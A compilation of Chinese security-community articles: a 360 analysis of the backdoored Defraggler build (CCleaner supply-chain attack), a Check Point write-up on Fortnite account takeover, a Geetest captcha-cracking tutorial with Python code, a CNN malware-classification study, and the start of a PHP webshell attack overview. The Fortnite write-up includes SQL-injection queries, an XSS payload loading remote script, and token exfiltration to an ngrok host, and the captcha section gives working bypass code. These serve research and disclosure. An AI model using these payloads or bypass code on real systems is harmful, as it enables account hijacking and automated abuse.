的某一个版本也曾被篡改并植入了恶意代码，由于发现及时，被供应链攻击所污染的版本并没有被公开发布。360威胁情报中心对相关样本分析后确认受污染的Defraggler版本被植入了与CCleaner后门代码事件中相同的恶意代码。
**
**
**事件时间线**
基于公开的资料和分析，360威胁情报中心还原的相关多个事件的时间线如下：
2017年8月2日，CCleaner官方编译的主程序文件被植入恶意代码。
2017年8月3日，CCleaner官方Piriform给被感染软件打包签名开始对外发布。
2017年8月14日，Defraggler官方编译的主程序文件被植入恶意代码。
2017年9月11日，Defraggler官方Piriform给被感染软件进行数字签名。（由于被提前发现，该版本并未公开发布）
2017年9月12日，Piriform 官方发布新版软件CCleaner version 5.34去除被污染文件。
2017年9月14日，第三方注册恶意代码中预设的云控域名，阻止攻击。
2017年9月18日，Piriform 官方发布安全公告，公告称旗下的CCleaner version 5.33.6162和CCleaner
Cloudversion 1.07.3191版本软件被篡改并植入了恶意代码。
**
**
**被污染的Defraggler样本分析**
此次被污染的样本包括 **Defraggler安装包** 、 **Defraggler主程序** 、 **Defraggler DLL模块** 、
**Defraggler命令行工具** 等，360威胁情报中心针对其中的一个Defraggler主程序进行了分析确认。
**VirusTotal上的样本信息**
样本被上传到VT上的查杀情况如下：
**文件信息**
文件版本为2.22.0.995
编译时间为2017.8.14
数字签名时间为2017.9.11
数字签名证书当前已被颁发者吊销
通过文件的版本、签名等信息可以推测，Defraggler的这一版本在2017.8.14被编译并植入恶意代码，在2017.9.11被官方签署数字签名，而由于随后爆出的CCleaner被污染事件导致被污染的Defraggler版本并未如期发布，并且相关的签名证书也被颁发者直接吊销，这也避免了更多的互联网用户遭受攻击。
**被污染的CRT代码位置**
被植入的恶意代码代码位于CRT函数___onexitinit()中，调用过程如下：
___tmainCRTStartup()–>__cinit()–>__initterm_e()–>___onexitinit()–>Malicious
call
**恶意代码功能**
被植入了恶意代码的Defraggler版本主要具备如下恶意功能：
1、攻击者修改程序静态导入库函数___onexitinit()以执行恶意代码。
2、收集主机信息（主机名、已安装软件列表、进程列表和网卡信息等）加密编码后通过https的post请求尝试发送到远程IP：216.126.225.148:443，且伪造http头的host字段为：speccy.piriform.com，并下载执行任意恶意代码，如果该IP失效则使用IP：211.158.54.161再次尝试连接。
3、若IP失效，则根据月份生成DGA域名，并再次尝试发送同样的信息，如果成功则下载执行任意恶意代码。
**C &C关联信息**
在360威胁情报中心数据平台里，搜索相关C&C IP可以得到如下信息：
可以看到相关IP地址已经被打上了CCleaner backdoor的标签。
**
**
**IOC**
首次尝试回连的IP地址
DGA域名
文件HASH
****
**
**
**总结**
通过360威胁情报中心针对受污染样本以及相关C&C的关联分析可知，Defraggler被植入的后门共享了CCleaner后门中完全相同的代码和C&C基础设施，软件被污染的时间上也高度重合，所以可以认为是同一次供应链攻击中的多个植入对象。
**
**
**参考资料**
<https://ti.360.net/blog/articles/announcement-of-ccleaner-malware/>
[<https://ti.360.net/blog/articles/in-depth-analysis-of-ccleaner-malware/>](https://ti.360.net/blog/articles/in-depth-analysis-of-ccleaner-malware/)
[<https://cert.360.cn/warning/detail?id=0dc8a230ad210be8a8b872a73b18d220>](https://cert.360.cn/warning/detail?id=0dc8a230ad210be8a8b872a73b18d220)
[](https://www.piriform.com/defraggler/version-history)[](https://www.piriform.com/defraggler/version-history)<https://www.piriform.com/defraggler/version-history> | 社区文章 |
# 看我如何黑掉堡垒之夜玩家账户
##### 译文声明
本文是翻译文章，文章原作者 checkpoint，文章来源：research.checkpoint.com
原文地址：<https://research.checkpoint.com/hacking-fortnite/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
Fortnite（堡垒之夜）是Epic
Games游戏开发商制作的一款大型流行游戏，在虚拟世界中，Fortnite玩家的任务就是通过各种工具和武器保证自己安全，力争成为最后一个存活的单位。
在过去几周时间内，Check Point Research发现了Epic
Game在线平台上的多个漏洞，攻击者可以借助这些漏洞控制任何玩家的账户，浏览玩家个人账户信息、购买V-Bucks和Fortnite游戏内虚拟货币、窃听并记录玩家在游戏内的聊天信息及隐私对话。
Fortnite由美国视频游戏开发商Epic
Games制作，该开发商估值约为50亿至80亿美元，而这款游戏将近占了其中半壁江山。这款游戏在经济方面炙手可热，因此也吸引了网络犯罪分子的注意力。
之前攻击者会诱骗玩家登录伪造的网站，这些网站号称可以生成Fortnite游戏中的“V-Bucks”货币（这些商品通常只能通过官方的Fortnite商店购买，或者在游戏中赚取）。这些钓鱼网站会诱导玩家输入游戏登录凭据、姓名、地址和信用卡等个人信息，也会通过社交媒体进行传播，宣传玩家可以“轻松赚钱”以及“快速发家”。
然而，我们的研究团队采用了更为复杂也更为“阴险”的方法，不需要用户提供任何登录凭据。我们发现了Epic
Games某些子域名的漏洞，在这些漏洞的帮助下，用户只需点击攻击者发送的链接就可以发起XSS攻击。用户点击链接后，无需输入任何登录凭据，攻击者就可以立刻获取玩家的用户名及密码。
Check Point Research向Epic Games通报了该漏洞，厂商也部署了修复补丁，保证数百万玩家能在安全环境中继续游戏。
大家可以访问[此处](https://youtu.be/poQmRWWh45s)观看攻击演示视频。
## 二、技术细节
Epic
Games存在一些老的域名，比如“[http://ut2004stats.epicgames.com](http://ut2004stats.epicgames.com/)”，我们的发现都源自于此。
### SQL注入
在“[http://ut2004stats.epicgames.com](http://ut2004stats.epicgames.com/)”子域名上，我们发现了一个有趣的GET请求，其中涉及到一个路径：`/serverstats.php?server=[some
server code]`。
看到这里我们提出了一个问题：如果“在请求中添加其他标志”，会出现什么情况？
结果服务器返回了“Server database error”（服务器数据库错误）信息！
这一点非常好，我们发现这很有可能存在SQL注入漏洞（此时我们认为这是一个MYSQL数据库）。
进一步研究后，我们发现目标中部署了一款WAF产品，使用的是黑名单机制（并没有使用白名单机制），我们首先得解决这个问题。在这个系统限制下，我们无法查询某些系统表（如`information_schema`表）。
然而我们可以使用系统变量（`@@`），似乎有些人忘记处理这些因素，并且我们可以借此完成许多任务。
Google一番后，我们发现`37514065`是一个有效的服务端代码。基于这一点，我们执行了如下查询语句，观察服务端返回的响应数据：
if((SUBSTR(query,from,length)=CHAR([char_number])),true,false)
如果响应数据大小为`4014`字节，则代表查询结果中不存在该字符。如果响应数据大小为`12609`字节，则代表查询结果中存在该字符。
比如，`if((SUBSTR(@[@version](https://github.com/version
"@version"),1,1)=CHAR(52)),37514065,0)`会返回`4014`字节：
请求数据如下：
图1. 初始SQL注入查询语句
响应数据如下：
图2. 上图SQL查询返回4014字节数据
更进一步，`if((SUBSTR(@[@version](https://github.com/version
"@version"),1,1)=CHAR(53)),37514065,0)`查询语句返回`12609`字节，因此我们得知目标使用的是MySQL 5。
图3. 第二次SQL注入查询
图4. SQL查询语句返回12609字节响应数据
通过这种方法，我们可以获取一些数据，进行下一步研究。
### 跨站脚本（XSS）
继续研究后，我们发现“[http://ut2004stats.epicgames.com](http://ut2004stats.epicgames.com/)”子域名中包含名为“maps”的一个网页。我们猜测该网页可以通过地图名称/id来展示比赛相关统计数据。
当我们在查找XSS漏洞时（不管是反射型还是存储型漏洞），我们都应该在目标页面中找到服务器对输入数据的输出，我们的确在该页面的搜索组件中找到了所需的输出点。事实上，该页面的另一个功能是搜索栏，也是我们用于XSS漏洞的注入点。
比如：
这是我们找到的第二个突破口，表明`ut2004stats.epicgames.com`上存在XSS漏洞。该域名为`epicgames.com`的一个子域名，这一点对我们最后一个攻击阶段来说非常重要。
### 接管oAuth账户
在接下来几天内，我们继续搜索是否存在其他攻击点。
在这项研究工作一开始，我们团队中的某个小伙伴对SSO机制非常“来电”。在直觉的指引下，我们仔细研究了SSO，的确发现Epic
Games已经实现了一个通用的SSO，用来支持多个登录提供程序（Provider）。这时候我们可以进一步分析实现细节。
事实证明，当玩家点击“Sign In”按钮登录账户时，Epic
Games会生成包含`redirectedUrl`参数的一个URL（如下所示）。之后`accounts.epicgames.com`会使用该参数，将玩家重定向到对应的账户页面。
https://accounts.epicgames.com/login?productName=epic-games&lang=en_US&redirectUrl=https%3A%2F%2Fwww.epicgames.com%2Fsite%2Fen-US%2Fhome&client_id=[cliend_id]&noHostRedirect=true
图5. 玩家登录账户后的重定向链接
然而，我们很快发现重定向URL可以被篡改，将用户重定向到`*.epicgames.com`域名内的任意web页面。
由于我们可以控制`redirectedUrl`参数，因此可以将受害者重定向至包含XSS攻击载荷的`ut2004stats.epicgames.com`网站：
http://ut2004stats.epicgames.com/index.php?stats=maps&SearchName=”><script%20src=%27%2f%2fbit.ly%2f2QlSHBO%27><%2fscript>
网页上的JavaScript载荷随后会向任何SSO
provider发起请求，请求中包含`state`参数，`accounts.epicgames.com`随后会使用该参数来完成认证过程。JavaScript载荷中包含一个精心构造的`state`参数。`state`参数的值包含经过Base64编码的JSON，而该JSON数据中包含3个键：`redirectUrl`、`client_id`以及`prodectName`。当SSO登录过程完成后，就会使用`redirectedUrl`参数进行重定向。
### 多个SSO Provider
如果我们尝试登录Fortnite，就会发现Epic Games使用了多个SSO Provider：PlayStationNetwork、Xbox
Live、Nintendo、Facebook以及Google+。随后我们发现，我们可以在这些SSO
Provider上使用前文描述的技巧。这里我们以Facebook为例来演示。
如下所示，我们尝试构造`state`参数，使XSS载荷能够将用户重定向至`ut2004stats.epicgames.com`：
https://www.facebook.com/dialog/oauth?client_id=1132078350149238&redirect_uri=https://accounts.epicgames.com/OAuthAuthorized&state=eyJpc1BvcHVwIjoidHJ1ZSIsImlzQ3JlYXRlRmxvdyI6InRydWUiLCJpc1dlYiI6InRydWUiLCJvYXV0aFJlZGlyZWN0VXJsIjoiaHR0cDovL3V0MjAwNHN0YXRzLmVwaWNnYW1lcy5jb20vaW5kZXgucGhwP3N0YXRzPW1hcHMmU2VhcmNoTmFtZT0lMjIlM2UlM2NzY3JpcHQlMjBzcmM9JyUyZiUyZmJpdC5seSUyZjJRbFNIQk8nJTNlJTNjJTJmc2NyaXB0JTNlJTJmIyUyZiJ9&response_type=code&display=popup&scope=email,public_profile,user_friends
图6. 使用XSS载荷重定向至`ut2004stats.epicgames.com`
此时SSO
Provider为Facebok，会返回跳转至`accounts.epicgames.com`的重定向响应包，其中包含我们可控的`state`参数：
图7. Facebook返回跳转至`accounts.epicgames.com`的响应包，其中包含我们可控的state参数
随后，Epic Games会从SSO Provider读取`code`（即SSO令牌）和攻击者构造的`state`参数，然后向Epic
Games服务器发起请求，以便完成身份认证过程：
图8. Epic Games向服务器发起请求，其中包含来自SSO的、由攻击者构造的`state`参数
Epic
Games服务器没有验证输入信息，直接生成响应数据，将用户重定向至包含XSS载荷和SSO令牌信息的`ut2004stats.epicgames.com`：
图9. Epic
Games服务器响应数据中没有验证输入数据，将用户重定向至包含XSS载荷和SSO令牌信息的`ut2004stats.epicgames.com`
最终，用户会被重定向至包含漏洞的网页，然后执行XSS载荷，攻击者就能窃取用户的身份认证代码：
图10. 存在漏洞的网页上会执行XSS载荷
（对Epic Games而言）这里最大的问题在于，Epic Games服务器并没有验证`state`参数的输入数据。
请注意，用户会被重定向到包含XSS漏洞的`ut2004stats.epicgames.com`页面，因此即便Epic
Games采用了CORS（跨域资源共享）机制，`ut2004stats.epicgames.com`依然可以向`account.epicgames.com`发起请求。
### 绕过WAF
当执行XSS载荷时，WAF会采取措施，通知我们该请求已被禁止。显然，这里唯一的问题在于脚本源URL的长度，因此我们可以缩短URL长度来绕过限制。
现在我们已经找到XSS点，可以加载JavaScript，并且在`ut2004stats.epicgames.com`上下文中执行，因此是时候写一些JavaScript代码：
图11. 用来投递XSS载荷的JavaScript代码
### XSS载荷
上述代码会打开一个窗口，向SSO
Provider服务器（这里为Facebook）发起oAuth请求，请求中包含用户的所有cookie信息以及我们构造的`state`参数。
Facebook随后会返回响应包，将用户重定向至`account.epicgames.com`，其中包含SSO令牌（`code`参数）以及攻击者先前构造的`state`参数。
由于用户已经登录Facebook账户，因此`account.epicgames.com`服务器会重定向至在`state`参数中找到的URL地址。在这个例子中，重定向地址为`ut2004stats.epicgames.com`，其中包含XSS载荷以及Facebook用户的oAuth令牌。
最终，请求中的令牌信息会发送至攻击者的服务器（这里我们使用的是ngrok服务器：[0aa62240.ngrok.io](http://0aa62240.ngrok.io/)）。
图12. Ngrok服务器收到包含SSO令牌的请求
图13. Ngrok服务器收到包含SSO令牌的请求
现在攻击者已经收到用户的Facebook令牌信息，可以登录受害者的账户。
图14. 攻击者成功获取用户的Facebook令牌 | 社区文章 |
> [一、网站http://****滑动验证码概述](https://xianzhi.aliyun.com/forum/read/2017.html)
> [二、极验验证码破解-抓包分析](https://xianzhi.aliyun.com/forum/read/2017.html)
> [三、极验验证码破解-搭建本地验证码服务](https://xianzhi.aliyun.com/forum/read/2017.html)
> [四、极验验证码破解-> 分析geetest.js，得到所需参数](https://xianzhi.aliyun.com/forum/read/2017.html)
> [五、极验验证码破解-Track的获取](https://xianzhi.aliyun.com/forum/read/2017.html)
> [六、极验验证码破解-> 获取背景图片及缺口距离d的计算](https://xianzhi.aliyun.com/forum/read/2017.html)
> [七、极验验证码破解-总结](https://xianzhi.aliyun.com/forum/read/2017.html)
> [参考文献](https://xianzhi.aliyun.com/forum/read/2017.html)
> [运行截图](https://xianzhi.aliyun.com/forum/read/2017.html)
* * *
## 四、极验验证码破解-分析geetest.js，得到所需参数
1. 为了找出如何生成userresponse和a，我们在geetest.js中搜索userrespnse,发现只有一处提到userresponse，如下所示：
可以看出userresponse和a都在上述代码中赋值。
首先，我们追踪ca.ra，得到下面代码：
计算userresponse需要参数l和challenge,challenge我们已知，下面分析l（先猜测为滑块移动的距离）。
由
可得到a由n生成，
由上述可知oa.qa的返回值是f，下面继续追踪f：
由上述可知（console为我添加，目的是打印信息），f的返回值即为所求a，观察其包含！！信息，比较所需a值：
可以发现，目前推测无误。
1. 我们发现f依赖于oa下的c函数，追踪c函数：
观察c函数的参数a，由a[h+1][1]可知a应该是一个二维数组。
添加如下信息，输出a的内容：
刷新<http://localhost:8000/,查看console控件下的信息：>
可以发现，这很大可能就是我们所要找的滑动轨迹Track。
回到之前userresponse中的l参数，我们在相应位置输出：
查看Console发现：
之前我们猜测l为滑动距离，比较l与Track最后一个坐标，可以发现l与Track[-1][0]相等，因此验证我们猜想—l是滑动距离。
3.要想得到userresponse，需要得到l，需要得到Track,由于Track是随机采样生成的离散轨迹坐标序列，因此我们需要根据缺口的位置来模拟Track。由于Track较难模拟，我们先假设已根据缺口距离生成了Track。
则可以写出生成userresponse的函数：
def cal_userresponse(a,b):
d=[]
c=b[32:]
for e in range(len(c)):
f=ord(str(c[e]))
tmp=f-87 if f>57 else f-48
d.append(tmp)
c=36*d[0]+d[1]
g=int(round(a))+c
b=b[:32]
i=[[],[],[],[],[]]
j={}
k=0
e=0
for e in range(len(b)):
h=b[e]
if h in j:
pass
else:
j[h]=1
i[k].append(h)
k+=1
k=0 if (k==5) else k
n=g
o=4
p=""
q=[1,2,5,10,50]
while n>0:
if n-q[o]>=0:
m=int(random.random()*len(i[o]))
p+=str(i[o][m])
n-=q[o]
else:
del(i[o])
del(q[o])
o-=1
return p
参数a和b分别是l和challenge。上述函数是我根据
改写成Python形式
至此，userresponse参数破解成功，接下来看a的生成。
1. 之前分析a是由oa下的f函数生成：
其中参数a是Track。其中f函数用到了c函数、e函数和d函数。
根据js函数源码，我将其改写成python函数。
# 计算每次间隔 相当于c函数
def fun_c(a):
g=[]
e=[]
f=0
for h in range(len(a)-1):
b=int(round(a[h+1][0]-a[h][0]))
c=int(round(a[h+1][1]-a[h][1]))
d=int(round(a[h+1][2]-a[h][2]))
g.append([b,c,d])
if b==c==d==0:
pass
else:
if b==c==0:
f+=d
else:
e.append([b,c,d+f])
f=0
if f!=0:
e.append([b,c,f])
return e
def fun_e(item): # 相当于e函数
b=[[1, 0], [2, 0], [1, -1], [1, 1], [0, 1], [0, -1], [3, 0], [2, -1], [2, 1]]
c='stuvwxyz~'
for i,t in enumerate(b):
if t==item[:2]:
return c[i]
return 0
def fun_d(a):
b='()*,-./0123456789:?@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqr'
c=len(b)
d=''
e=abs(a)
f=int(e/c)
if f>=c:
f=c-1
if f>0:
d=b[f]
e%=c
g=''
if a<0:
g+='!'
if d:
g+='$'
return g+d+b[e]
def fun_f(track_list):
skip_list=fun_c(track_list)
g,h,i=[],[],[]
for j in range(len(skip_list)):
b=fun_e(skip_list[j])
if b:
h.append(b)
else:
g.append(fun_d(skip_list[j][0]))
h.append(fun_d(skip_list[j][1]))
i.append(fun_d(skip_list[j][2]))
return ''.join(g)+'!!'+''.join(h)+'!!'+''.join(i)
代码只截取部分，具体细节后面会开源。
完整的f函数如上所示，参数为Track，返回值即为f（也就是所需的a）。
至此，参数a也破解完成！！！只差最会一步，Track如何得到。 | 社区文章 |
## 背景
伴随着AI时代的到来，人们生活的方方面面都离不开计算机，人们也越来越依赖于电子产品，而恶意代码的数量规模呈指数级增长，且大多是已知种类的变种，人们的隐私和安全受到了极大的挑战。
同时当代社会正经历着一次又一次的技术变革，而人工智能，也称机器智能，就是在技术变革的浪潮中衍生出来的产物。而深度学习作为人工智能的一个分支，也得到了非常多的应用，但就目前的研究来看，将之应用到与恶意代码家族标注方面的研究较少。
本文是针对恶意代码进行静态分析，利用恶意代码的反汇编文件，生成恶意代码的图像，针对图像进行gist全局特征提取，并搭建卷积神经网络，采用监督学习的方式，进行上万个样本的训练，实现了恶意代码家族的标注。实验结果表明，该方法可以有效的判别恶意代码的种类，具有较高的正确率以及较低的误报率。同时，本文搭建了用于预测恶意代码家族种类的系统，具备预测样本家族种类，展示恶意代码样本图像等功能，本系统大大提高了用户对于恶意代码的防范能力和警觉性。
## 主要思路
目前针对恶意代码图像进行的分类研究在恶意代码领域总体而言较少，因此本文使用恶意代码样本的反汇编机器码文件，将B2M算法改进，生成长宽相同的正方形恶意代码图像，这样就将对恶意代码的分类转为对图片种类的识别。随后对图像进行标准化，归一化等预处理。把预处理完成后的图像利用Gist算法，调用Matlab软件的接口对其进行特征提取。随后采用搭建好的卷积神经网络模型进行训练，模型中采用了优化卷积核方法，退化学习率方法，批量归一化算法等进行优化处理。训练好模型后，在测试集进行测试，同时使用图形化窗口将其做成系统，可根据所上传恶意代码样本文件进行检测，并返回检测结果。利用预测系统，可大大提高用户对恶意代码文件的防范能力与警觉性。
## 具体实现方法
### 利用IDA实现恶意代码样本反汇编获得其机器码
具体操作步骤：首先打开IDA反汇编软件，在软件中打开exe可执行文件。
可以看见在整个IDA窗口里面，存在很多小窗口，有IDA View-A， Hex
View-A，Structures等等很多窗口，在这么多窗口中，需要的是反汇编生成的汇编码文件以及机器码文件。单击菜单栏File->Produce
file->Create ASM file即可生成该二进制可执行文件的汇编码文件。
生成机器码文件的过程比较复杂，在Hex
View1窗口中，可以看到二进制文件的机器码，而后在窗口里单击右键->Text->Show（将Show前面的对号取消），则在窗口内显示的就变成了纯机器码。
随后单击菜单栏Edit， 选择Select
all，就会将所有的机器码选中，这时复制，在一个固定的文件夹下新创建一个名为该exe文件原名的bytes文件，并将其粘贴进去即可完成机器码文件的生成。或者可以采用其他十六进制文件进行操作，在这里就不一一赘述了。
### 恶意代码图像的生成
在恶意代码可视化方面，我国的研究人员也取得了一定的成果。早在2014年，北京科技大学的韩晓光博士与北京启明星辰研究院合作在通信学报上发表了一篇论文名为《基于纹理指纹的恶意代码变种检测方法研究》，在这篇文章中，韩博士利用B2M算法，针对PE文件以二进制的形式读取，而后每8bit作为一个单位，这样每个单位的范围控制在0-255之间，也就是每个像素的实际单位大小，给定固定的宽，而图像的高度选择，为整个文件大小与宽度的比值，使整个文件生成一个固定宽的灰度图的形式，通过上述方法绘制灰度图，恶意代码样本的纹理特征就清晰的可视化表现出来了。
同理，利用上述步骤生成的机器码文件也可以生成该恶意代码样本的灰度图，机器码为十六进制表示，十六进制的字符范围在0x00-0xff之间，而其转化为十进制范围同样在0-255之间，与二进制文件转化成的恶意代码图像原理完全相同。生成的灰度图如下图所示。
### 聚类存放
使用上述步骤将恶意代码样本转为恶意代码图像后，对近万个样本生成的恶意代码图像进行聚类存放，相同家族放在一起。可以观察出其在纹理、色泽等特征方面具有明显的相似之处。下图所示为Ramnit家族图像：
下图所示为Kelihos_ver1家族图像：
### 图像标准化处理
由于恶意代码样本文件大小不一，而后需要进行特征提取等方面的工作，需故要将所有的图片进行调整图片大小，标准化，归一化等操作。只有在图片大小相同的情况下，标准化，归一化操作进行完成后，对后续的操作即特征提取，作为网络的输入等才会有意义，图像标准化处理算法如下图所示：
其中μ是图像像素点的均值，x表示图像矩阵，其中adjust_stddev的值：
其中"α" 表示标准方差，N表示图像的像素数量。如下图是经过标准化处理后的图片与原始图片的对比。
### 图像归一化处理
图像归一化最常用的方法为最大最小值归一方法，图像归一化处理算法：
norm= (x_i-min(x))/(max(x)-min(x)).
其中x_i表示图像在第i个点处的像素点值，max(x), min(x)分别表示图像像素的最大值和最小值。经过图像归一化处理后，图像的像素点范围由[0,
255]转为[0,1]之间的实数，这样做有利于后续神经网络对于数据的处理，有助于快速收敛和反向传播。
### 图像特征提取
图像特征主要有图像的颜色特征，纹理特征，形状特征和空间关系特征。颜色特征是一种全局特征，描述了图像或图像区域所对应的景物的表面性质。显然，前文中指出的使用B2M算法生成的恶意代码图像属于灰度图，并不具备颜色特征。纹理特征也是一种全局特征，它也描述了图像或图像区域所对应的景物的表面性质。与颜色特征不同，纹理特征不是基于像素点的特征，它需要在包含多个像素点的区域中进行统计计算。
GIST算法作为一种针对图片的宏观特征提取方式，忽略图片的局部特点。其又称为全局特征信息，为场景的低维签名向量。采用全局特征信息对场景进行识别和分类，不需要对图像进行分割和局部特征提取，可以实现快速场景识别和分类。
具体方法为：假设待提取特征的恶意代码图像为f(x,y)。首先，将其划分为n×n的网格，每个网格表示一个子区域，用c个通道的滤波器对子区域进行卷积滤波，其中c等于滤波尺度和方向数的乘积。然后在每个网格内计算每个通道的平均能量得到特征。将每个网格的特征级联，就得到恶意代码图像的全局Gist特征。
首先32个Gabor滤波在4个尺度，8个方向上进行卷积，得到32个feature
map，大小和输入图像一致。然后把每个map分成4*4=16个区域，计算每个区域内的均值。得到均值后，就获得了4*4*32=512维向量特征。这个512维向量特征作为恶意代码图像的全局特征指纹。
将一幅预处理好的恶意代码图像作为输入，Matlab中有已经实现好的Gist算法，可以直接调用Matlab软件的接口，并将输出保存在文件中。下图为算法输出。
MATLAB代码如下：
function get_gist(imgname)
% Load image
img = imread(imgname);
% GIST Parameters:
clear param
param.orientationsPerScale = [8 8 8 8]; % number of orientations per scale (from HF to LF)
param.numberBlocks = 4;
param.fc_prefilt = 4;
% Computing gist:
gist = LMgist(img, '', param);
%disp(gist);
%length(gist)
%resultName = 'C:\Users\49627\Desktop\two_eight\test_file\gist_pic\';
resultName = './test_file/gist_pic/';
imgname = regexp(imgname,'/','split');
imgname = imgname(4);
resultName = strcat(resultName,imgname);
resultName =regexprep(resultName,'.tif','.gist');
resultName = char(resultName);
fid = fopen(resultName,'w');
for i=1:512
fprintf(fid,'%d ',gist(i));
end
fclose(fid);
end
之后使用python批量化提取gist特征：
def call_matlab(AllImg): # 利用os.system() 执行cmd中的命令。
cmmd = 'matlab -nojvm -nosplash -r "'
get_gist = "get_gist"
i = 0
for img in AllImg:
cmmd += get_gist +"('"+img+"');"
if i==10:
cmmd +='exit"'
os.system(cmmd)
print(cmmd)
time.sleep(4)
i = 0
cmmd = 'matlab -nojvm -nosplash -r "'
i += 1
### 卷积网络结构
上文使用Matlab软件进行Gist特征提取，提取结果为[1, 512]的二维数组，调整数据形状为[32,
16]，输入形状为32×16×1，第一层卷积核为5×5，将输入的1通道转为32通道，第二层使用批量归一化（BN算法），最大限度的保证输出在同一分布上，第三层为Relu激励层，第四层是卷积核形状为2×2的最大池化层。第五层为两个卷积核并行的卷积层，两个卷积核形状分别为3×3，5×5，第六层分别对上一层两个卷积操作进行批量归一化处理，第七层为两个卷积的Relu激励层，第八层使用concat函数将两个卷积操作后的输出拼合在一起。第九层是卷积核形状为2×2的最大池化层。第十层输出1024节点的全连接层，第十一层为Relu激励层，第十二层为dropout层，随机的选择一些数据进行丢弃，降低对小概率异常数据的学习机会。第十三层为9个节点的全连接层，最后归为9类。第十四层为softmax层。网络层次结构如下图所示：
## 数据集、训练设备及结果说明
### 数据集
本项目所采用的数据集为2015年微软公司在kaggle上发布的一个项目，项目地址为：<https://www.kaggle.com/c/malware-classification/。>
数据集解压后为400G大小，包括训练样本，测试样本，以及训练样本的标签，标签为一个csv文件，其中详细的标注了训练样本中每一个恶意代码样本的名称以及它所对应的家族种类。
系统样本库中所使用的九类恶意代码家族种类为：Ramnit，Lollipop，Kelihos_ver3，Vundo，Simda，Tracur，Kelihos_ver1，Obfuscator.ACY，Gatak。
以下是每个家族的详细介绍：
1. Ramnit家族所具备的危害为感染Windows可执行文件和HTML文件并尝试允许远程访问的病毒的检测。
2. Lollipop家族所具备的危害为此广告软件程序会在您浏览网页时显示广告。它还可以重定向搜索引擎结果，监控您在PC上执行的操作，下载应用程序以及将有关PC的信息发送给黑客。
3. Kelihos_ver3家族所具备的危害为可以分发垃圾邮件，其中可能包含自身安装程序的Web链接。它还可以连接到远程计算机以交换配置数据以及下载和执行任意文件。
4. Vundo所具备的危害为提供“脱离上下文”的弹出式广告，下载和运行文件，经常作为DLL文件传播，并在未经您同意的情况下作为浏览器帮助对象（BHO）安装在您的PC上。
5. Simda所具备的危害为威胁可以为您的PC提供恶意黑客后门访问和控制。然后，他们可以窃取您的密码并收集有关您PC的信息。
6. Tracur所具备的危害为运行时，此脚本会将“ explorer.exe ”进程添加到Windows防火墙例外列表中，以故意降低系统安全设置。
7. Kelihos_ver1所具备的危害为可以分发垃圾邮件，其中可能包含自身安装程序的Web链接。它还可以连接到远程计算机以交换配置数据以及下载和执行任意文件。
8. Obfuscator.ACY所具备的危害为这种威胁一直是“obfuscated“，这意味着它试图隐藏其目的，因此您的安全软件无法检测到它。混淆之下的恶意软件几乎可以用于任何目的。
9. Gatak所具备的危害为收集有关您的PC的信息并将其发送给黑客。它可以作为密钥生成器应用程序的一部分到达您的PC，或者看起来是合法应用程序的更新。
**样本数据共10860个，本实验采取随机抽样来分割训练样本和测试样本，即在任意类别中以4：1进行切分数据。训练样本共有8686个，测试样本有2174个。**
### 训练设备环境配置
* cpu 40核
* 内存256G
* ubuntu系统；
* python3.6；
* python装有以下库：numpy， tensorflow， pyqt5， cv2；
### 结果
在测试集上准确率表现为98.758%，交叉熵表现为0.0858844。训练与测试如下图所示：
### TensorBoard可视化
在训练网络的代码中添加TensorBoard模块的API，生成日志文件，随后使用日志文件观测训练是否正常，准确率accuracy，交叉熵loss如图所示：
## 缺陷及限制
数据源中的样本并不包含正常文件，只有九类恶意代码家族样本，利用九类恶意代码家族样本训练出成熟的模型最后只能用于预测恶意代码家族分类，这是先天的因素所限制，导致本项目的可适用性略窄。而针对恶意代码家族标注的系统一般都会具备检测是否恶意代码功能，如果为恶意代码，则会进一步检测恶意代码的家族种类。 | 社区文章 |
# PHP Webshell那些事——攻击篇
##### 译文声明
本文是翻译文章，文章原作者 ASRC，文章来源：ASRC
原文地址：<https://mp.weixin.qq.com/s/FgzIm-IK02rjEf3JvxOxrw>
译文仅供参考，具体内容表达以及含义原文为准。
作者：阿里云云安全中心
## 前言
Webshell是网站入侵的常用后门，利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、SE0挂马等恶意操作，危害极大。
所谓Webshell，主要指可以被例如apache、tomcat、nginx在内的webserver即时解释执行的脚本语言编写而成的文本文件，其本质是一种text文本文件。因其隐秘性、基于脚本、灵活便捷、功能强大等特点，广受黑客们的喜爱，因此Webshell的检测也成为云安全防御的重点，甚至成为网站安全防御的一个标配。
近几年攻防对抗不断升级，防御的挑战越来越大，攻防的战场已经不再是谁见的样本多，而越来越转向方法论层面的对抗，攻击者往往会倾向于找到某种方法论体系，通过体系层面，来对防守方发起挑战。安骑士Webshell检测系统在对抗的过程中，逐步发展出了静态规则+动态规则+词法ast解析+动态模拟执行+机器学习等多种综合手段，目的也是为了尽量提高攻击绕过的门槛和成本，缓解Webshell攻击问题。
本文作为这个系列文章的开篇，会着重从攻击者视角，用体系化的方式介绍当前业内Webshell攻击的主要方法论以及具体技术细节。目的是希望能给业内同行带来一些启发，共同进步，提升检测防御能力。
在后续的文章后，我们还会陆续推出各种恶意代码语言的攻击方式方法论分析，以及安骑士在检测方面的技术积累，希望能和同行有更多交流机会。
## Webshell攻击的体系化认知
俗话说，“工欲善其事必先利其器”，作为工程师，体系化认知就是我们最好的“利器”，初期点状的知识积累固然没有太大问题，但是越往后深入，对体系化认知的需求就会越强，它能让你把笔记本读薄。
也许在读这篇文章之前，读者朋友已经了解过非常多的PHP Webshell攻击技巧、名词，例如
* 字符串拼接
* 隐式数据类型转换
* preg_replace
* 各种callback
* 等等…
但是这篇文章，我们尝试对各种方式进行“格物”，建立一个概念框架，因为一旦概念框架建立后，我们就可以在概念框架内进行自由地发散思考，同时又不至于陷入局部的最优中，而忽略了全盘上的星星点点。
### 1、利用PHP语言特性
PHP是一种动态弱类型语言，参数传递、类型转换、函数调用方式都非常灵活，这给开发者带来开发便利的同时，也给攻击者编写各种畸形恶意代码带来了很多便利，通过翻阅PHP手册，我们可以查到很多奇技淫巧，例如：
但是这里，笔者整理了一个思考框架，我们可以基于这个思考框架，有效地进行各种变形手段的组合。
我们将构成每个webshell的基本概念组件进行打散，抽象出若干原子逻辑概念组件，我们称之为【一级概念组件】，在每个一级概念组件下都有多个【二级实例组件】。每个二级实例组件都是在对应一级概念下的一个具体实现。
1.攻击者传入外部指令参数的方式
a.从内置全局数组中获取外部参数
$_GET["op"]
$GLOBALS['_POST']['op']
b.利用环境变量相关函数获取外部参数
